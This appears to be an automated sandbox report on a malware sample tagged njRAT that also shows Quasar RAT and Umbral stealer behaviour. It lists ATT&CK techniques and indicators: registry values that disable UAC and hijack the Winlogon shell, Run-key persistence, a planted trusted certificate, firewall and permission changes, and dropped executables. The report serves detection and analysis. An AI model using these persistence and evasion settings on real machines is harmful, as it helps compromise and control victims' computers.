njrat | c283ed662a29c18b117ba63ac41cca356934c6a29a1eb66e30d8305637e3411b

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Program Files (x86)\\rover\\rover.exe"	Rover.exe

Njrat family
njrat
Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 15 IoCs

resource	yara_rule
behavioral1/files/0x000500000001961e-224.dat	family_quasar
behavioral1/memory/3616-5123-0x00000000013E0000-0x0000000001704000-memory.dmp	family_quasar
behavioral1/memory/4084-5193-0x0000000000C90000-0x0000000000FB4000-memory.dmp	family_quasar
behavioral1/memory/3564-6233-0x0000000001260000-0x0000000001584000-memory.dmp	family_quasar
behavioral1/memory/3852-7271-0x0000000001330000-0x0000000001654000-memory.dmp	family_quasar
behavioral1/memory/3132-7943-0x0000000000280000-0x00000000005A4000-memory.dmp	family_quasar
behavioral1/memory/1928-8001-0x00000000001A0000-0x00000000004C4000-memory.dmp	family_quasar
behavioral1/memory/2456-8432-0x0000000001210000-0x0000000001534000-memory.dmp	family_quasar
behavioral1/memory/2972-9004-0x00000000001E0000-0x0000000000504000-memory.dmp	family_quasar
behavioral1/memory/1680-9122-0x0000000000090000-0x00000000003B4000-memory.dmp	family_quasar
behavioral1/memory/2996-9193-0x0000000000810000-0x0000000000B34000-memory.dmp	family_quasar
behavioral1/memory/608-9283-0x0000000000350000-0x0000000000674000-memory.dmp	family_quasar
behavioral1/memory/588-9341-0x0000000000CA0000-0x0000000000FC4000-memory.dmp	family_quasar
behavioral1/memory/2460-9610-0x0000000001160000-0x0000000001484000-memory.dmp	family_quasar
behavioral1/memory/1944-9678-0x0000000001300000-0x0000000001624000-memory.dmp	family_quasar

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Rover.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
25	3632	mshta.exe
26	3632	mshta.exe
28	3632	mshta.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
984	bitsadmin.exe

Manipulates Digital Signatures 1 TTPs 2 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates\D828469192E6AF8535B1ABADAA38DEDCA6A39B4C\Blob = 0f00000001000000140000006e58df55e4098b0b6ced07e437ed23c5175c13580200000001000000cc0000001c0000006c0000000100000000000000000000000000000001000000320033006300330035006300650064002d0037003200370039002d0034003900300032002d0038003900390038002d0031003800630030006300650061006200650039003200300000000000000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000d828469192e6af8535b1abadaa38dedca6a39b4c200000000100000000030000308202fc308201e4a00302010202106068626aa3b1f2874899376d49887d23300d06092a864886f70d01010505003010310e300c0603550403130541646d696e3020170d3235303230373133333732345a180f32313235303131343133333732345a3010310e300c0603550403130541646d696e30820122300d06092a864886f70d01010105000382010f003082010a0282010100bed1ba3fea8d3f352c2e449c5a9ab95f0c254781ed5b76046dfe7b374fca6756069cdbcda15df2a4b4f463e2c27d7493f432810fd587983fa145fb592e5ed1ff442fe28ec287732b0647a4de469207b1dc1c09a6f8e98c56805351a4e4afe07bb8a2eb18127c8a729e15a431d05af071afaf99b2a4afa3c1db5dcf5d6a62b1f517b48ac4814701ce6806098c9248c12ea6add3f012b5e4eb7c3315cdb534da72c7327793832da3c268608049d4652cc1fe1283415523ed614e3db980b89a8fb0e4e9dadec3a5827276d315cf4201407abcfe2f8afd01239f38c6ba3fdd9f5fa19f204ba97bfa4192099b3ccd3e3463361cdd721fe47373d42e95c8ac89112db10203010001a350304e30150603551d25040e300c060a2b0601040182370a0304302a0603551d1104233021a01f060a2b060104018237140203a0110c0f41646d696e4058454355444e43440030090603551d1304023000300d06092a864886f70d010105050003820101002797f7fd85e274bdaa61236d4754c0895f38c7414ef7fc78d93318cbd6906c9973ef71f6ce22e68587ecb287e1d13deee7a7250efb5b449ba18f515ac23b40a3bc7b904408da4068941686033a9e39e4d8381fe33398e95b42384501659dcf28e37f51f92701fe5e8678af141dc4225544844d822a98e087bac24b06e955ab4cd5757ad393ee31361dabf674b6b453c2508631414a6338aacb0ceb8ab54eecc88c6e6976af12d3a546630851b5782e690ae79073b9e65e8db332a94290d29c76a8220de3e9f4c614b59a85a8ff9c46f572b7feb621292a37af8ea8e9f8ba5e845a0c8cae15c28e3c42bdc1b7fe03df5248339fed3301e00656022498a9adf068	IEXPLORE.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates\D828469192E6AF8535B1ABADAA38DEDCA6A39B4C\Blob = 0f00000001000000140000006e58df55e4098b0b6ced07e437ed23c5175c1358030000000100000014000000d828469192e6af8535b1abadaa38dedca6a39b4c200000000100000000030000308202fc308201e4a00302010202106068626aa3b1f2874899376d49887d23300d06092a864886f70d01010505003010310e300c0603550403130541646d696e3020170d3235303230373133333732345a180f32313235303131343133333732345a3010310e300c0603550403130541646d696e30820122300d06092a864886f70d01010105000382010f003082010a0282010100bed1ba3fea8d3f352c2e449c5a9ab95f0c254781ed5b76046dfe7b374fca6756069cdbcda15df2a4b4f463e2c27d7493f432810fd587983fa145fb592e5ed1ff442fe28ec287732b0647a4de469207b1dc1c09a6f8e98c56805351a4e4afe07bb8a2eb18127c8a729e15a431d05af071afaf99b2a4afa3c1db5dcf5d6a62b1f517b48ac4814701ce6806098c9248c12ea6add3f012b5e4eb7c3315cdb534da72c7327793832da3c268608049d4652cc1fe1283415523ed614e3db980b89a8fb0e4e9dadec3a5827276d315cf4201407abcfe2f8afd01239f38c6ba3fdd9f5fa19f204ba97bfa4192099b3ccd3e3463361cdd721fe47373d42e95c8ac89112db10203010001a350304e30150603551d25040e300c060a2b0601040182370a0304302a0603551d1104233021a01f060a2b060104018237140203a0110c0f41646d696e4058454355444e43440030090603551d1304023000300d06092a864886f70d010105050003820101002797f7fd85e274bdaa61236d4754c0895f38c7414ef7fc78d93318cbd6906c9973ef71f6ce22e68587ecb287e1d13deee7a7250efb5b449ba18f515ac23b40a3bc7b904408da4068941686033a9e39e4d8381fe33398e95b42384501659dcf28e37f51f92701fe5e8678af141dc4225544844d822a98e087bac24b06e955ab4cd5757ad393ee31361dabf674b6b453c2508631414a6338aacb0ceb8ab54eecc88c6e6976af12d3a546630851b5782e690ae79073b9e65e8db332a94290d29c76a8220de3e9f4c614b59a85a8ff9c46f572b7feb621292a37af8ea8e9f8ba5e845a0c8cae15c28e3c42bdc1b7fe03df5248339fed3301e00656022498a9adf068	IEXPLORE.EXE

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3816	netsh.exe

Possible privilege escalation attempt 4 IoCs

exploit

pid	Process
3960	takeown.exe
3204	icacls.exe
2128	takeown.exe
2144	icacls.exe

.NET Reactor proctector 34 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/memory/2340-382-0x0000000005B80000-0x00000000060D0000-memory.dmp	net_reactor
behavioral1/memory/2340-383-0x00000000060D0000-0x000000000661E000-memory.dmp	net_reactor
behavioral1/memory/2340-409-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-407-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-405-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-403-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-401-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-399-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-397-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-394-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-392-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-389-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-388-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-411-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-421-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-427-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-431-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-449-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-447-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-445-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-443-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-441-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-439-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-437-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-435-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-433-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-429-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-425-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-423-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-419-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-417-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-451-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-453-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor
behavioral1/memory/2340-455-0x00000000060D0000-0x0000000006619000-memory.dmp	net_reactor

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7c148ac38012fc3caa04b1bbe75feba0.exe	!FIXInj.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7c148ac38012fc3caa04b1bbe75feba0.exe	!FIXInj.exe

Executes dropped EXE 46 IoCs

pid	Process
2832	ProgressBarSplash.exe
2340	Rover.exe
1776	Google.exe
3432	regmess.exe
1876	1.exe
1676	3.exe
3852	WinaeroTweaker-1.40.0.0-setup.exe
3928	WinaeroTweaker-1.40.0.0-setup.tmp
3672	psiphon-tunnel-core.exe
3616	scary.exe
3624	the.exe
3652	wimloader.dll
4084	Romilyaa.exe
2016	ac3.exe
2012	Romilyaa.exe
3564	Romilyaa.exe
3900	Romilyaa.exe
2488	Romilyaa.exe
3740	Romilyaa.exe
3852	Romilyaa.exe
2876	Romilyaa.exe
2132	Romilyaa.exe
3764	Romilyaa.exe
3132	Romilyaa.exe
1928	Romilyaa.exe
2456	Romilyaa.exe
1664	Romilyaa.exe
3956	Romilyaa.exe
3992	Romilyaa.exe
2972	Romilyaa.exe
1680	Romilyaa.exe
2996	Romilyaa.exe
608	Romilyaa.exe
588	Romilyaa.exe
2460	Romilyaa.exe
1944	Romilyaa.exe
2236	freebobux.exe
1760	SolaraBootstraper.exe
1772	wim.dll
2556	CLWCP.exe
1932	SolaraBootstrapper.exe
3920	Umbral.exe
3588	!FIXInj.exe
3520	Romilyaa.exe
3332	Romilyaa.exe
2304	Romilyaa.exe

Loads dropped DLL 33 IoCs

pid	Process
2776	vir.exe
2036	cmd.exe
2036	cmd.exe
2036	cmd.exe
3428	cmd.exe
3428	cmd.exe
1876	1.exe
1876	1.exe
3756	cmd.exe
3852	WinaeroTweaker-1.40.0.0-setup.exe
3928	WinaeroTweaker-1.40.0.0-setup.tmp
3928	WinaeroTweaker-1.40.0.0-setup.tmp
3928	WinaeroTweaker-1.40.0.0-setup.tmp
3928	WinaeroTweaker-1.40.0.0-setup.tmp
3928	WinaeroTweaker-1.40.0.0-setup.tmp
1676	3.exe
1676	3.exe
2036	cmd.exe
2036	cmd.exe
2036	cmd.exe
3732	Process not Found
2036	cmd.exe
2036	cmd.exe
2036	cmd.exe
2036	cmd.exe
2036	cmd.exe
2036	cmd.exe
2036	cmd.exe
2288	cmd.exe
2288	cmd.exe
1760	SolaraBootstraper.exe
1760	SolaraBootstraper.exe
1760	SolaraBootstraper.exe

Modifies file permissions 1 TTPs 4 IoCs

File and Directory Permissions Modification

T1222

pid	Process
3960	takeown.exe
3204	icacls.exe
2128	takeown.exe
2144	icacls.exe

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	flow	ioc	pid	Process
Destination IP	48	91.132.139.38	3672	psiphon-tunnel-core.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\7c148ac38012fc3caa04b1bbe75feba0 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\!FIXInj.exe\" .."	!FIXInj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\7c148ac38012fc3caa04b1bbe75feba0 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\!FIXInj.exe\" .."	!FIXInj.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

defense_evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	cmd.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Rover.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Rover.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2824	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Password Policy Discovery 1 TTPs
Attempt to access detailed information about the password policy used within an enterprise network.
discovery

Password Policy Discovery
T1201

AutoIT Executable 3 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x00050000000194e9-118.dat	autoit_exe
behavioral1/files/0x00050000000194c4-203.dat	autoit_exe
behavioral1/files/0x000500000001956c-213.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
2944	tasklist.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Control Panel\Desktop\WallPaper = "C:\\Users\\%username%\\Desktop\\t\\a\\bg.png"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Control Panel\Desktop\Wallpaper = "c:\\temp\\bg.bmp"	CLWCP.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00050000000194ef-208.dat	upx
behavioral1/memory/1676-3525-0x00000000013C0000-0x00000000029E7000-memory.dmp	upx
behavioral1/memory/1676-5170-0x00000000013C0000-0x00000000029E7000-memory.dmp	upx

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\rover\_3Idle\_3Idle.003.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_2Idle\_2Idle.001.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Eat\Eat.057.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Exit\Exit.001.png	Rover.exe
File created	C:\Program Files (x86)\rover\_5Idle\_5Idle.012.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_10Idle\_10Idle.024.png	Rover.exe
File created	C:\Program Files (x86)\rover\rover.exe	Rover.exe
File created	C:\Program Files (x86)\rover\Ashamed\Ashamed.004.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Exit\Exit.029.png	Rover.exe
File created	C:\Program Files (x86)\rover\Come\Come.003.png	Rover.exe
File created	C:\Program Files (x86)\rover\EN_gdi.txt	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\EN_welcome.txt	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Ashamed\Ashamed.027.png	Rover.exe
File created	C:\Program Files (x86)\rover\Eat\Eat.023.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_7Idle\_7Idle.021.png	Rover.exe
File created	C:\Program Files (x86)\rover\_9Idle\_9Idle.004.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_9Idle\_9Idle.004.png	Rover.exe
File created	C:\Program Files (x86)\rover\Reading\Reading.003.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Slap\Slap.001.png	Rover.exe
File created	C:\Program Files (x86)\rover\Speak\Speak.004.png	Rover.exe
File created	C:\Program Files (x86)\rover\Eat\Eat.060.png	Rover.exe
File created	C:\Program Files (x86)\rover\_5Idle\_5Idle.014.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_10Idle\_10Idle.002.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Come\Come.015.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Come\Come.017.png	Rover.exe
File created	C:\Program Files (x86)\rover\Eat\Eat.034.png	Rover.exe
File created	C:\Program Files (x86)\rover\GetAttention\GetAttention.006.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Lick\Lick.007.png	Rover.exe
File created	C:\Program Files (x86)\rover\Reading\Reading.006.png	Rover.exe
File created	C:\Program Files (x86)\rover\Come\Come.009.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Eat\Eat.075.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_3Idle\_3Idle.009.png	Rover.exe
File created	C:\Program Files (x86)\rover\_10Idle\_10Idle.018.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Sleep\Sleep.006.png	Rover.exe
File created	C:\Program Files (x86)\rover\Come\Come.011.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Eat\Eat.059.png	Rover.exe
File created	C:\Program Files (x86)\rover\_7Idle\_7Idle.020.png	Rover.exe
File created	C:\Program Files (x86)\rover\Attention.wav	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Eat\Eat.032.png	Rover.exe
File created	C:\Program Files (x86)\rover\Exit\Exit.017.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_2Idle\_2Idle.009.png	Rover.exe
File created	C:\Program Files (x86)\rover\_3Idle\_3Idle.021.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_3Idle\_3Idle.024.png	Rover.exe
File created	C:\Program Files (x86)\rover\_6Idle\_6Idle.004.png	Rover.exe
File created	C:\Program Files (x86)\rover\Lick\Lick.012.png	Rover.exe
File created	C:\Program Files (x86)\rover\Sleep\Sleep.003.png	Rover.exe
File created	C:\Program Files\Winaero Tweaker\is-950UT.tmp	WinaeroTweaker-1.40.0.0-setup.tmp
File opened for modification	C:\Program Files (x86)\rover\Ashamed\Ashamed.011.png	Rover.exe
File created	C:\Program Files (x86)\rover\_8Idle\_8Idle.006.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Eat\Eat.031.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Exit\Exit.020.png	Rover.exe
File created	C:\Program Files (x86)\rover\_10Idle\_10Idle.031.png	Rover.exe
File created	C:\Program Files (x86)\rover\Speak\Speak.007.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\End_Speak\End_Speak.006.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Exit\Exit.004.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_7Idle\_7Idle.007.png	Rover.exe
File created	C:\Program Files (x86)\rover\_7Idle\_7Idle.024.png	Rover.exe
File created	C:\Program Files (x86)\rover\_10Idle\_10Idle.024.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Speak\Speak.002.png	Rover.exe
File created	C:\Program Files (x86)\rover\Ashamed\Ashamed.022.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Eat\Eat.044.png	Rover.exe
File created	C:\Program Files (x86)\rover\_7Idle\_7Idle.006.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\EN_kill.txt	Rover.exe
File opened for modification	C:\Program Files\SubDir\Romilyaa.exe	scary.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	freebobux.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 32 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
1768	PING.EXE
3908	PING.EXE
3744	PING.EXE
2968	PING.EXE
1440	PING.EXE
3616	PING.EXE
3976	PING.EXE
1728	PING.EXE
1532	PING.EXE
804	PING.EXE
4012	PING.EXE
1592	PING.EXE
2524	PING.EXE
1036	PING.EXE
4048	PING.EXE
3928	PING.EXE
3180	PING.EXE
2256	PING.EXE
1928	PING.EXE
3744	PING.EXE
1616	PING.EXE
1720	PING.EXE
3524	PING.EXE
3968	PING.EXE
